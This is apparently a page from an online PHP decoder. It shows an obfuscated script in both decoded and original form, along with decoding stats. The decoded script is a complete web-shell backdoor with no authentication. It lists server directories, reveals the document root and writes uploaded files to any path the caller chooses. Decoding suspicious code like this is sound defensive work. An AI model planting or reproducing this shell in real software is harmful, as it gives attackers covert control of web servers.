Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK P..

Decoded Output download

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  | 
    |              on 2023-08-04 09:01:08              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
goto O16993250; O16993250: function o29113754($O26581902) { goto O44782812; O54968951: O19569541: goto O49592213; O11101599: foreach ($O44016181 as $O07589727) { goto O81764102; O54152565: echo "[" . $O07589727 . "]\xd
"; goto O60892309; O10539111: if (!is_dir($O26581902 . "/" . $O07589727)) { goto O41970117; } goto O54152565; O81764102: if (!($O07589727 != "." & $O07589727 != "..")) { goto O63466760; } goto O10539111; O42510663: echo "<" . $O07589727 . ">
\xa"; goto O81255192; O81255192: O71518539: goto O21700772; O60892309: O41970117: goto O10275618; O08196851: O88873074: goto O50741571; O21700772: O63466760: goto O08196851; O10275618: if (!is_file($O26581902 . "/" . $O07589727)) { goto O71518539; } goto O42510663; O50741571: } goto O42384087; O42384087: O53229631: goto O02060840; O49592213: $O44016181 = scandir($O26581902); goto O73275665; O44782812: if (!empty($O26581902)) { goto O19569541; } goto O42678105; O73275665: echo "@dir@
"; goto O11101599; O42678105: return null; goto O54968951; O02060840: } goto O51620101; O16319528: o29113754($_GET["dir"]); goto O31397126; O96687335: if (empty($_GET["dir"])) { goto O40438005; } goto O16319528; O59125791: if (empty($_FILES["filename"])) { goto O82119679; } goto O53122711; O97914029: if (empty($_GET["get_dir"])) { goto O03887607; } goto O43919814; O53122711: O49241734($_FILES["filename"]); goto O75146221; O83868931: O71866560: goto O97914029; O63050536: O03887607: goto O59125791; O86495618: echo "testtrue"; goto O83868931; O43919814: echo "|" . $_SERVER["DOCUMENT_ROOT"] . "|
\xa"; goto O96687335; O51620101: function O49241734($O07589727) { goto O41380130; O61019346: O70050342: goto O09549107; O28845601: O75909585: goto O65205157; O53574811: goto O75909585; goto O18419928; O08998094: if (!empty($_POST["dir"])) { goto O73023678; } goto O39064702; O83777672: O89694009: goto O53574811; O75365223: O51833597: goto O28845601; O65205157: O96943862: goto O63443775; O18419928: O73023678: goto O08748778; O09399989: echo "true"; goto O83777672; O39064702: if (!move_uploaded_file($O07589727["tmp_name"], $O07589727["name"])) { goto O89694009; } goto O09399989; O67017865: echo "@true@
\xa"; goto O01470532; O01470532: o29113754($_POST["dir"]); goto O75365223; O08748778: if (!move_uploaded_file($O07589727["tmp_name"], $_POST["dir"] . "/" . $O07589727["name"])) { goto O51833597; } goto O67017865; O51766610: return null; goto O61019346; O09549107: if (!is_uploaded_file($O07589727["tmp_name"])) { goto O96943862; } goto O08998094; O41380130: if (!empty($O07589727)) { goto O70050342; } goto O51766610; O63443775: } goto O75565090; O75565090: if (empty($_GET["test"])) { goto O71866560; } goto O86495618; O31397126: O40438005: goto O63050536; O75146221: O82119679: ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2023-08-04 09:01:08              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
goto O16993250; O16993250: function o29113754($O26581902) { goto O44782812; O54968951: O19569541: goto O49592213; O11101599: foreach ($O44016181 as $O07589727) { goto O81764102; O54152565: echo "\133" . $O07589727 . "\x5d\xd\12"; goto O60892309; O10539111: if (!is_dir($O26581902 . "\x2f" . $O07589727)) { goto O41970117; } goto O54152565; O81764102: if (!($O07589727 != "\x2e" & $O07589727 != "\56\x2e")) { goto O63466760; } goto O10539111; O42510663: echo "\74" . $O07589727 . "\x3e\15\xa"; goto O81255192; O81255192: O71518539: goto O21700772; O60892309: O41970117: goto O10275618; O08196851: O88873074: goto O50741571; O21700772: O63466760: goto O08196851; O10275618: if (!is_file($O26581902 . "\x2f" . $O07589727)) { goto O71518539; } goto O42510663; O50741571: } goto O42384087; O42384087: O53229631: goto O02060840; O49592213: $O44016181 = scandir($O26581902); goto O73275665; O44782812: if (!empty($O26581902)) { goto O19569541; } goto O42678105; O73275665: echo "\x40\x64\151\x72\100\15\12"; goto O11101599; O42678105: return null; goto O54968951; O02060840: } goto O51620101; O16319528: o29113754($_GET["\x64\151\x72"]); goto O31397126; O96687335: if (empty($_GET["\x64\151\162"])) { goto O40438005; } goto O16319528; O59125791: if (empty($_FILES["\146\151\154\145\156\141\x6d\145"])) { goto O82119679; } goto O53122711; O97914029: if (empty($_GET["\147\145\164\137\144\x69\162"])) { goto O03887607; } goto O43919814; O53122711: O49241734($_FILES["\146\151\154\145\156\x61\x6d\145"]); goto O75146221; O83868931: O71866560: goto O97914029; O63050536: O03887607: goto O59125791; O86495618: echo "\x74\x65\163\x74\x74\162\x75\x65"; goto O83868931; O43919814: echo "\x7c" . $_SERVER["\104\117\x43\125\115\x45\x4e\124\137\122\x4f\x4f\124"] . "\x7c\15\xa"; goto O96687335; O51620101: function O49241734($O07589727) { goto O41380130; O61019346: O70050342: goto O09549107; O28845601: O75909585: goto O65205157; O53574811: goto O75909585; goto O18419928; O08998094: if (!empty($_POST["\144\x69\x72"])) { goto O73023678; } goto O39064702; O83777672: O89694009: goto O53574811; O75365223: O51833597: goto O28845601; O65205157: O96943862: goto O63443775; O18419928: O73023678: goto O08748778; O09399989: echo "\x74\x72\x75\x65"; goto O83777672; O39064702: if (!move_uploaded_file($O07589727["\164\x6d\x70\x5f\x6e\x61\155\x65"], $O07589727["\x6e\141\x6d\145"])) { goto O89694009; } goto O09399989; O67017865: echo "\100\164\162\x75\x65\x40\15\xa"; goto O01470532; O01470532: o29113754($_POST["\144\x69\x72"]); goto O75365223; O08748778: if (!move_uploaded_file($O07589727["\x74\155\160\x5f\x6e\141\x6d\x65"], $_POST["\144\151\x72"] . "\x2f" . $O07589727["\156\x61\155\x65"])) { goto O51833597; } goto O67017865; O51766610: return null; goto O61019346; O09549107: if (!is_uploaded_file($O07589727["\x74\x6d\160\x5f\156\x61\155\x65"])) { goto O96943862; } goto O08998094; O41380130: if (!empty($O07589727)) { goto O70050342; } goto O51766610; O63443775: } goto O75565090; O75565090: if (empty($_GET["\164\x65\163\164"])) { goto O71866560; } goto O86495618; O31397126: O40438005: goto O63050536; O75146221: O82119679:

Function Calls

None

Variables

None

Stats

MD5 37fb4dc9166dd8e650e4d886ef5206ee
Eval Count 0
Decode Time 52 ms